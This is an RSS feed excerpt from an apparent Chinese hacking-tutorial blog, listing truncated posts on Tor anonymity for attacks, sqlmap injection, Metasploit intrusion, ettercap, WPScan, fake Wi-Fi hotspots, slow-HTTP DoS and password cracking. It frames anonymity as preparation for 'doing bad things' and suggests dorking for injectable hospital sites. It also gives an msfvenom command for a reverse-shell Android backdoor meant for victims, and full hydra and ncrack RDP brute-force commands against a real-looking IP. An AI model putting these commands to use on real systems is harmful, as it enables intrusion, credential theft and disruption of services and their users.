&lt;p&gt;HTTrack帮助：&lt;/p&gt;</description></item><item><title>使用tor实现匿名扫描/SSH登录</title><link>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8tor%E5%AE%9E%E7%8E%B0%E5%8C%BF%E5%90%8D%E6%89%AB%E6%8F%8Fssh%E7%99%BB%E5%BD%95-%E4%BD%BF%E7%94%A8tor%E5%AE%9E%E7%8E%B0%E5%8C%BF%E5%90%8D%E6%89%AB%E6%8F%8Fssh%E7%99%BB%E5%BD%95/</link><pubDate>Sat, 08 Apr 2017 09:13:29 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8tor%E5%AE%9E%E7%8E%B0%E5%8C%BF%E5%90%8D%E6%89%AB%E6%8F%8Fssh%E7%99%BB%E5%BD%95-%E4%BD%BF%E7%94%A8tor%E5%AE%9E%E7%8E%B0%E5%8C%BF%E5%90%8D%E6%89%AB%E6%8F%8Fssh%E7%99%BB%E5%BD%95/</guid><description>&lt;p&gt;你要做坏事时，最先应该想到匿名。扫描网站／主机，或利用漏洞；甚至在大天朝发帖都有风险，为了防止半夜鬼敲门，我们可以使用tor实现匿名。&lt;/p&gt;
&lt;p&gt;如果你不知道tor是什么，看：&lt;a href="https://zh.wikipedia.org/wiki/Tor"&gt;https://zh.wikipedia.org/wiki/Tor&lt;/a&gt; ； &lt;a href="https://program-think.blogspot.com/2013/11/tor-faq.html"&gt;https://program-think.blogspot.com/2013/11/tor-faq.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图示：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-04-25-14916428269906.png" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;在天朝也许要多加一层：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-04-25-14916428376691.png" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;优点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;首先有了一个梯子&lt;/li&gt;
&lt;li&gt;你的ISP提供商并不知道你在使用Tor，它也许知道你在使用代理&lt;/li&gt;
&lt;li&gt;Tor的入口点并不知道你的IP地址，而是代理的ip地址；代理一定要可靠。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;安装tor：&lt;/p&gt;</description></item><item><title>使用sqlmap执行SQL注入攻击</title><link>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8sqlmap%E6%89%A7%E8%A1%8Csql%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB-%E4%BD%BF%E7%94%A8sqlmap%E6%89%A7%E8%A1%8Csql%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/</link><pubDate>Sat, 08 Apr 2017 09:10:41 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8sqlmap%E6%89%A7%E8%A1%8Csql%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB-%E4%BD%BF%E7%94%A8sqlmap%E6%89%A7%E8%A1%8Csql%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/</guid><description>&lt;p&gt;sqlmap是开源的SQL注入自动攻击工具，它可以自动的探测SQL注入点并且进一步控制网站的数据库。&lt;/p&gt;
&lt;p&gt;Kali Linux默认安装了这个工具。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-04-25-14916426679984.png" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;找到潜在的攻击目标&lt;/p&gt;
&lt;p&gt;第一步是找到有SQL注入漏洞的网站。如果你没有特定攻击目标，可以使用Google搜索 php?id=1 （或php?id= ＋ xx系医院）：&lt;/p&gt;</description></item><item><title>使用Metasploit收集邮箱信息</title><link>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8metasploit%E6%94%B6%E9%9B%86%E9%82%AE%E7%AE%B1%E4%BF%A1%E6%81%AF-%E4%BD%BF%E7%94%A8metasploit%E6%94%B6%E9%9B%86%E9%82%AE%E7%AE%B1%E4%BF%A1%E6%81%AF/</link><pubDate>Sat, 08 Apr 2017 09:06:04 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8metasploit%E6%94%B6%E9%9B%86%E9%82%AE%E7%AE%B1%E4%BF%A1%E6%81%AF-%E4%BD%BF%E7%94%A8metasploit%E6%94%B6%E9%9B%86%E9%82%AE%E7%AE%B1%E4%BF%A1%E6%81%AF/</guid><description>&lt;p&gt;Metasploit提供了很多辅助的模块，非常实用。今天介绍一个叫search_email_collector的模块，它的功能是查找搜索引擎（google、bing、yahoo），收集和某个域名有关的邮箱地址。&lt;/p&gt;
&lt;h2 id="使用步骤"&gt;使用步骤：&lt;/h2&gt;
&lt;p&gt;启动msfconsole：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# service postgresql start
# msfconsole
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;搜索模块：&lt;/p&gt;</description></item><item><title>安装使用lynis扫描Linux的安全漏洞</title><link>https://luodaoyi.com/posts/%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8lynis%E6%89%AB%E6%8F%8Flinux%E7%9A%84%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E-%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8lynis%E6%89%AB%E6%8F%8Flinux%E7%9A%84%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/</link><pubDate>Sat, 08 Apr 2017 08:56:01 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8lynis%E6%89%AB%E6%8F%8Flinux%E7%9A%84%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E-%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8lynis%E6%89%AB%E6%8F%8Flinux%E7%9A%84%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/</guid><description>&lt;p&gt;&lt;code&gt;Lynis&lt;/code&gt;是Linux平台上的一款安全漏洞扫描工具。它可以扫描系统的安全漏洞、收集系统信息、安装的软件信息、配置问题、没有设置密码的用户和防火墙等等。&lt;/p&gt;
&lt;p&gt;Lynis是流行可靠的安全扫描工具。&lt;/p&gt;
&lt;p&gt;前不久，Lynis更新了版本，Lynis发布了2.2.0。在这个版本上增加了新的特性和一些小的功能提升。我建议使用Lynis的最新版本2.2.0。&lt;/p&gt;</description></item><item><title>Metasploit的基本使用</title><link>https://luodaoyi.com/posts/metasploit%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8-metasploit%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8/</link><pubDate>Sat, 08 Apr 2017 08:51:46 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/metasploit%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8-metasploit%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8/</guid><description>&lt;p&gt;Metasploit可以在Linux、Windows和Mac OS X系统上运行。我假设你已安装了Metasploit，或者你使用的系统是Kali Linux。它有命令行接口也有GUI接口。&lt;/p&gt;
&lt;p&gt;我使用的系统是Kali Linux，本文以这个系统为例。&lt;/p&gt;
&lt;p&gt;图形用户界面接口：Armitage&lt;/p&gt;</description></item><item><title>演示使用Metasploit入侵Windows</title><link>https://luodaoyi.com/posts/%E6%BC%94%E7%A4%BA%E4%BD%BF%E7%94%A8metasploit%E5%85%A5%E4%BE%B5windows-%E6%BC%94%E7%A4%BA%E4%BD%BF%E7%94%A8metasploit%E5%85%A5%E4%BE%B5windows/</link><pubDate>Sat, 08 Apr 2017 08:48:48 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E6%BC%94%E7%A4%BA%E4%BD%BF%E7%94%A8metasploit%E5%85%A5%E4%BE%B5windows-%E6%BC%94%E7%A4%BA%E4%BD%BF%E7%94%A8metasploit%E5%85%A5%E4%BE%B5windows/</guid><description>&lt;p&gt;我使用Kali Linux的IP地址是192.168.0.112；在同一局域网内有一台运行Windows XP（192.168.0.108）的测试电脑。&lt;/p&gt;
&lt;p&gt;本文演示怎么使用Metasploit入侵windows xp sp3。&lt;/p&gt;
&lt;p&gt;启动msfconsole：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# msfconsole
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-04-25-14916413511904.png" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;选择一个漏洞：&lt;/p&gt;</description></item><item><title>演示使用Metasploit入侵Android</title><link>https://luodaoyi.com/posts/%E6%BC%94%E7%A4%BA%E4%BD%BF%E7%94%A8metasploit%E5%85%A5%E4%BE%B5android-%E6%BC%94%E7%A4%BA%E4%BD%BF%E7%94%A8metasploit%E5%85%A5%E4%BE%B5android/</link><pubDate>Sat, 08 Apr 2017 08:45:50 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E6%BC%94%E7%A4%BA%E4%BD%BF%E7%94%A8metasploit%E5%85%A5%E4%BE%B5android-%E6%BC%94%E7%A4%BA%E4%BD%BF%E7%94%A8metasploit%E5%85%A5%E4%BE%B5android/</guid><description>&lt;p&gt;文本演示怎么使用Kali Linux入侵Android手机。&lt;/p&gt;
&lt;p&gt;Kali Linux IP地址：192.168.0.112；接收连接的端口：443。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-04-25-14916411615769.png" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;同一局域网内android手机一部(android 5.1)&lt;/p&gt;
&lt;h2 id="创建一个后门程序"&gt;创建一个后门程序&lt;/h2&gt;
&lt;p&gt;在终端中执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=443 &amp;gt; my_backdoor.apk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个后门程序(APK)是发送给受害者的；要把上面命令的IP地址替换为攻击者IP，当后门程序运行时，它会试图连接这个IP。&lt;/p&gt;</description></item><item><title>Kali Linux ettercap的使用</title><link>https://luodaoyi.com/posts/kali-linux-ettercap%E7%9A%84%E4%BD%BF%E7%94%A8-kalilinuxettercap%E7%9A%84%E4%BD%BF%E7%94%A8/</link><pubDate>Sat, 08 Apr 2017 08:41:45 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/kali-linux-ettercap%E7%9A%84%E4%BD%BF%E7%94%A8-kalilinuxettercap%E7%9A%84%E4%BD%BF%E7%94%A8/</guid><description>&lt;p&gt;ettercap是执行ARP欺骗嗅探的工具，通常用它来施行中间人攻击。&lt;/p&gt;
&lt;p&gt;我还介绍过另一个arp欺骗工具-arpspoof&lt;br&gt;
我使用的是Kali Linux 2.0；在开始使用ettercap之前，先配置一下：&lt;/p&gt;
&lt;p&gt;编辑配置文件/etc/ettercap/etter.conf：&lt;/p&gt;</description></item><item><title>使用Kali Linux执行中间人攻击(演示)</title><link>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8kali-linux%E6%89%A7%E8%A1%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB%E6%BC%94%E7%A4%BA-%E4%BD%BF%E7%94%A8kalilinux%E6%89%A7%E8%A1%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB%E6%BC%94%E7%A4%BA/</link><pubDate>Sat, 08 Apr 2017 08:36:59 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8kali-linux%E6%89%A7%E8%A1%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB%E6%BC%94%E7%A4%BA-%E4%BD%BF%E7%94%A8kalilinux%E6%89%A7%E8%A1%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB%E6%BC%94%E7%A4%BA/</guid><description>&lt;p&gt;中间人攻击也叫Man-In-The-Middle-Attack。&lt;/p&gt;
&lt;p&gt;我假设你已经知道中间人攻击的基本概念，引用一段wikipedia：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;中间人攻击（Man-in-the-middle attack，缩写：MITM）是指攻击者与通讯的两端分别建立独立的联系，并交换其所收到的数据，使通讯的两端认为他们正在通过一个私密的连接与对方直接对话，但事实上整个会话都被攻击者完全控制。在中间人攻击中，攻击者可以拦截通讯双方的通话并插入新的内容。在许多情况下这是很简单的（例如，在一个未加密的Wi-Fi 无线接入点的接受范围内的中间人攻击者，可以将自己作为一个中间人插入这个网络）。&lt;/p&gt;</description></item><item><title>集线器、交换机和路由器的区别</title><link>https://luodaoyi.com/posts/%E9%9B%86%E7%BA%BF%E5%99%A8%E4%BA%A4%E6%8D%A2%E6%9C%BA%E5%92%8C%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E5%8C%BA%E5%88%AB-%E9%9B%86%E7%BA%BF%E5%99%A8%E4%BA%A4%E6%8D%A2%E6%9C%BA%E5%92%8C%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E5%8C%BA%E5%88%AB/</link><pubDate>Sat, 08 Apr 2017 08:33:31 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E9%9B%86%E7%BA%BF%E5%99%A8%E4%BA%A4%E6%8D%A2%E6%9C%BA%E5%92%8C%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E5%8C%BA%E5%88%AB-%E9%9B%86%E7%BA%BF%E5%99%A8%E4%BA%A4%E6%8D%A2%E6%9C%BA%E5%92%8C%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E5%8C%BA%E5%88%AB/</guid><description>&lt;p&gt;集线器、交换机和路由器都是计算机网络设备，而且非常容易混淆。那么集线器、交换机和路由器有什么区别呢？&lt;/p&gt;
&lt;p&gt;用简单的话说，就是智商高低。路由器最智能、集线器最傻。&lt;/p&gt;
&lt;p&gt;集线器、交换机和路由器都允许你把一个或多个计算机连接到其他计算机、网络设备等。每个都有多个网络接口，允许你插入网线接入网络，但是内部原理不同。下面我们分别看一下这些设备。&lt;/p&gt;</description></item><item><title>在Wifi网络中嗅探明文密码(HTTP POST请求、POP等)</title><link>https://luodaoyi.com/posts/%E5%9C%A8wifi%E7%BD%91%E7%BB%9C%E4%B8%AD%E5%97%85%E6%8E%A2%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81http-post%E8%AF%B7%E6%B1%82pop%E7%AD%89-%E5%9C%A8wifi%E7%BD%91%E7%BB%9C%E4%B8%AD%E5%97%85%E6%8E%A2%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81httppost%E8%AF%B7%E6%B1%82pop%E7%AD%89/</link><pubDate>Sat, 08 Apr 2017 08:26:01 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E5%9C%A8wifi%E7%BD%91%E7%BB%9C%E4%B8%AD%E5%97%85%E6%8E%A2%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81http-post%E8%AF%B7%E6%B1%82pop%E7%AD%89-%E5%9C%A8wifi%E7%BD%91%E7%BB%9C%E4%B8%AD%E5%97%85%E6%8E%A2%E6%98%8E%E6%96%87%E5%AF%86%E7%A0%81httppost%E8%AF%B7%E6%B1%82pop%E7%AD%89/</guid><description>&lt;p&gt;全世界，现在大约50%的网站没有使用SSL加密，天朝尤其多。&lt;/p&gt;
&lt;p&gt;我们都知道通过HTTP发送的数据都是明文，没有使用任何加密，即使是在数据敏感的登录页面。&lt;/p&gt;
&lt;p&gt;本文的目的是：如果你在不熟悉的网络环境中，要注意提高警惕。&lt;/p&gt;
&lt;p&gt;没有人希望自己的密码暴露给他人，so，不要嗅探（狗）他人的密码。&lt;/p&gt;</description></item><item><title>使用WPScan破解wordpress站点密码</title><link>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8wpscan%E7%A0%B4%E8%A7%A3wordpress%E7%AB%99%E7%82%B9%E5%AF%86%E7%A0%81-%E4%BD%BF%E7%94%A8wpscan%E7%A0%B4%E8%A7%A3wordpress%E7%AB%99%E7%82%B9%E5%AF%86%E7%A0%81/</link><pubDate>Sat, 08 Apr 2017 08:20:14 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8wpscan%E7%A0%B4%E8%A7%A3wordpress%E7%AB%99%E7%82%B9%E5%AF%86%E7%A0%81-%E4%BD%BF%E7%94%A8wpscan%E7%A0%B4%E8%A7%A3wordpress%E7%AB%99%E7%82%B9%E5%AF%86%E7%A0%81/</guid><description>&lt;p&gt;我这里使用的Kali Linux，它默认安装了WPScan。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-04-25-14916396779113.png" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;在使用WPScan之前，先更新它的漏洞数据库：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# wpscan –update
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫描wordpress用户&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wpscan -–url [wordpress网址] –-enumerate u
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以我的网站为例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# wpscan --url http://blog.topspeedsnail.com --enumerate u
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：要用使用两个–，否则报错－“The WordPress URL supplied ‘&lt;a href="http://rl/"&gt;http://rl/&lt;/a&gt;’ seems to be down.”&lt;/p&gt;</description></item><item><title>使用Hydra通过ssh破解密码</title><link>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8hydra%E9%80%9A%E8%BF%87ssh%E7%A0%B4%E8%A7%A3%E5%AF%86%E7%A0%81-%E4%BD%BF%E7%94%A8hydra%E9%80%9A%E8%BF%87ssh%E7%A0%B4%E8%A7%A3%E5%AF%86%E7%A0%81/</link><pubDate>Sat, 08 Apr 2017 08:16:26 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8hydra%E9%80%9A%E8%BF%87ssh%E7%A0%B4%E8%A7%A3%E5%AF%86%E7%A0%81-%E4%BD%BF%E7%94%A8hydra%E9%80%9A%E8%BF%87ssh%E7%A0%B4%E8%A7%A3%E5%AF%86%E7%A0%81/</guid><description>&lt;p&gt;Hydra是非常高效的网络登录破解工具，它可以对多种服务程序执行暴力破解（SSH、VNC等等）。&lt;/p&gt;
&lt;p&gt;防止这种攻击其实很容易，方法很多。以SSH为例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Ubuntu：使用Port Knocking隐藏SSH端口&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在Ubuntu中用Fail2Ban保护SSH&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;CentOS 7安装使用Fail2Ban保护SSH&lt;/p&gt;</description></item><item><title>创建假的wifi热点</title><link>https://luodaoyi.com/posts/%E5%88%9B%E5%BB%BA%E5%81%87%E7%9A%84wifi%E7%83%AD%E7%82%B9-%E5%88%9B%E5%BB%BA%E5%81%87%E7%9A%84wifi%E7%83%AD%E7%82%B9/</link><pubDate>Sat, 08 Apr 2017 07:42:50 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E5%88%9B%E5%BB%BA%E5%81%87%E7%9A%84wifi%E7%83%AD%E7%82%B9-%E5%88%9B%E5%BB%BA%E5%81%87%E7%9A%84wifi%E7%83%AD%E7%82%B9/</guid><description>&lt;p&gt;本帖介绍怎么创建假的wifi热点，然后抓取连接到这个wifi用户的敏感数据。我们还会给周围的无线路由器发送未认证的包，使这些路由器瘫痪，强迫用户连接（或自动连接）我们创建的假wifi热点。&lt;/p&gt;
&lt;p&gt;这种攻击也叫”水坑攻击”－把其他用户都聚集到一个”坑”中。&lt;/p&gt;</description></item><item><title>使用pdfcrack破解PDF密码(Linux)</title><link>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8pdfcrack%E7%A0%B4%E8%A7%A3pdf%E5%AF%86%E7%A0%81linux-%E4%BD%BF%E7%94%A8pdfcrack%E7%A0%B4%E8%A7%A3pdf%E5%AF%86%E7%A0%81linux/</link><pubDate>Sat, 08 Apr 2017 07:40:52 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8pdfcrack%E7%A0%B4%E8%A7%A3pdf%E5%AF%86%E7%A0%81linux-%E4%BD%BF%E7%94%A8pdfcrack%E7%A0%B4%E8%A7%A3pdf%E5%AF%86%E7%A0%81linux/</guid><description>&lt;p&gt;pdfcrack是破解PDF保护密码的Linux命令行工具。&lt;/p&gt;
&lt;h2 id="安装pdfcrack"&gt;安装pdfcrack&lt;/h2&gt;
&lt;p&gt;Debian系列：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# apt install pdfcrack
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-04-25-14916372807669.png" alt="" title=""&gt;&lt;/p&gt;
&lt;h2 id="暴力破解"&gt;暴力破解&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# pdfcrack -f filename.pdf -n 6 -m 8 -c 0123456789
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;暴力破解密码是漫长单调的过程。&lt;/p&gt;
&lt;p&gt;上面使用的参数解释：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;-n：密码最短多少个字符&lt;/li&gt;
&lt;li&gt;-m：密码最长多少个字符&lt;/li&gt;
&lt;li&gt;-c：使用的字符集&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;更多选项，查看帮助：&lt;/p&gt;</description></item><item><title>SlowHTTPTest-慢速DoS攻击</title><link>https://luodaoyi.com/posts/slowhttptest-%E6%85%A2%E9%80%9Fdos%E6%94%BB%E5%87%BB-slowhttptest-%E6%85%A2%E9%80%9Fdos%E6%94%BB%E5%87%BB/</link><pubDate>Sat, 08 Apr 2017 07:35:35 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/slowhttptest-%E6%85%A2%E9%80%9Fdos%E6%94%BB%E5%87%BB-slowhttptest-%E6%85%A2%E9%80%9Fdos%E6%94%BB%E5%87%BB/</guid><description>&lt;p&gt;Slowhttptest是一个依赖于实际HTTP协议的Slow HTTP DoS攻击工具，它的设计原理是要求服务器所有请求被完全接收后再进行处理。&lt;/p&gt;
&lt;p&gt;SlowHTTPTest是一款对服务器进行慢攻击的测试软件，所谓的慢攻击就是相对于cc或者DDoS的快而言的，并不是只有量大速度快才能把服务器搞挂，使用慢攻击有时候也能到达同一效果。slowhttptest包含了之前几种慢攻击的攻击方式，包括slowloris, Slow HTTP POST, Slow Read attack等。那么这些慢攻击工具的原理就是想办法让服务器等待，当服务器在保持连接等待时，自然就消耗了资源。&lt;/p&gt;</description></item><item><title>暴力破解Windows RDP(3389)</title><link>https://luodaoyi.com/posts/%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3windows-rdp3389-%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3windowsrdp3389/</link><pubDate>Sat, 08 Apr 2017 07:32:16 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3windows-rdp3389-%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3windowsrdp3389/</guid><description>&lt;p&gt;RDP是远程桌面协议。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ nmap your_target
Starting Nmap 7.01 ( https://nmap.org ) at 2016-09-20 17:29 CST
Nmap scan report for ns514636.ip-192-95-xx.net (192.95.xx.xx)
Host is up (0.28s latency).
Not shown: 988 closed ports
PORT STATE SERVICE
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
3389/tcp open ms-wbt-server # 这个是远程桌面端口
4444/tcp filtered krb524
6667/tcp filtered irc
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49163/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 28.14 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="使用hydra暴力破解"&gt;使用hydra暴力破解：&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;hydra -t 4 -V -l administrator -P /usr/share/wordlists/rockyou.txt rdp://your_target

-t = TASKS run TASKS number of connects in parallel (per host, default: 16) RDP set to maximum of 4.
-V = Verbose shows you the attempted passwords.
-l = Username
-P = Password list
rdp:// = Port 3389
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="使用ncrack暴力破解"&gt;使用ncrack暴力破解：&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;ncrack -p 3389 -v -user administrator -P /usr/share/wordlists/rockyou.txt 192.95.xx.xx

-p = Port number
-v = Verbose shows you any found passwords in realtime
-user = username
-P = Password list
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="远程桌面登录"&gt;远程桌面登录：&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;rdesktop your_target
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>使用Reaver破解开启了WPS功能的wifi密码(wpa/wpa2)</title><link>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8reaver%E7%A0%B4%E8%A7%A3%E5%BC%80%E5%90%AF%E4%BA%86wps%E5%8A%9F%E8%83%BD%E7%9A%84wifi%E5%AF%86%E7%A0%81wpawpa2-%E4%BD%BF%E7%94%A8reaver%E7%A0%B4%E8%A7%A3%E5%BC%80%E5%90%AF%E4%BA%86wps%E5%8A%9F%E8%83%BD%E7%9A%84wifi%E5%AF%86%E7%A0%81wpawpa2/</link><pubDate>Sat, 08 Apr 2017 07:27:46 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8reaver%E7%A0%B4%E8%A7%A3%E5%BC%80%E5%90%AF%E4%BA%86wps%E5%8A%9F%E8%83%BD%E7%9A%84wifi%E5%AF%86%E7%A0%81wpawpa2-%E4%BD%BF%E7%94%A8reaver%E7%A0%B4%E8%A7%A3%E5%BC%80%E5%90%AF%E4%BA%86wps%E5%8A%9F%E8%83%BD%E7%9A%84wifi%E5%AF%86%E7%A0%81wpawpa2/</guid><description>&lt;p&gt;来自wikipeida：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Wi-Fi保护设置（简称WPS，全称Wi-Fi Protected Setup）是一个无线网络安全标准，旨在让家庭用户使用无线网络时简化加密步骤。此标准由Wi-Fi联盟（Wi-Fi Alliance）于2006年制定。&lt;/p&gt;
&lt;p&gt;在2011年12月28日安全专家Stefan Viehbock报出此标准的一个重大安全漏洞，此漏洞允许远程攻击者使用暴力攻击在几小时内就能获取WPS的PIN码和WPA/WPA2的PSK码。一些新出产的无线路默认启动WPS功能，所以现在建议用户关闭无线路由器上的WPS一键加密功能，虽然有些无线器上无法关闭此功能。&lt;/p&gt;</description></item><item><title>Kali Linux使用Aircrack破解wifi密码(wpa/wpa2)</title><link>https://luodaoyi.com/posts/kali-linux%E4%BD%BF%E7%94%A8aircrack%E7%A0%B4%E8%A7%A3wifi%E5%AF%86%E7%A0%81wpawpa2-kalilinux%E4%BD%BF%E7%94%A8aircrack%E7%A0%B4%E8%A7%A3wifi%E5%AF%86%E7%A0%81wpawpa2/</link><pubDate>Sat, 08 Apr 2017 07:16:20 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/kali-linux%E4%BD%BF%E7%94%A8aircrack%E7%A0%B4%E8%A7%A3wifi%E5%AF%86%E7%A0%81wpawpa2-kalilinux%E4%BD%BF%E7%94%A8aircrack%E7%A0%B4%E8%A7%A3wifi%E5%AF%86%E7%A0%81wpawpa2/</guid><description>&lt;p&gt;Kali Linux能做很多事，但是它主要以渗透测试及’破解wifi密码’闻名。&lt;/p&gt;
&lt;p&gt;如果你使用Macbook 请看 &lt;code&gt;使用macbook破解WPA/WPA2 wifi密码&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;要求:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;安装有Kali Linux的计算机&lt;/li&gt;
&lt;li&gt;支持监控模式的网卡，笔记本电脑一般都支持&lt;/li&gt;
&lt;li&gt;字典文件&lt;/li&gt;
&lt;li&gt;时间和耐心&lt;/li&gt;
&lt;/ul&gt;
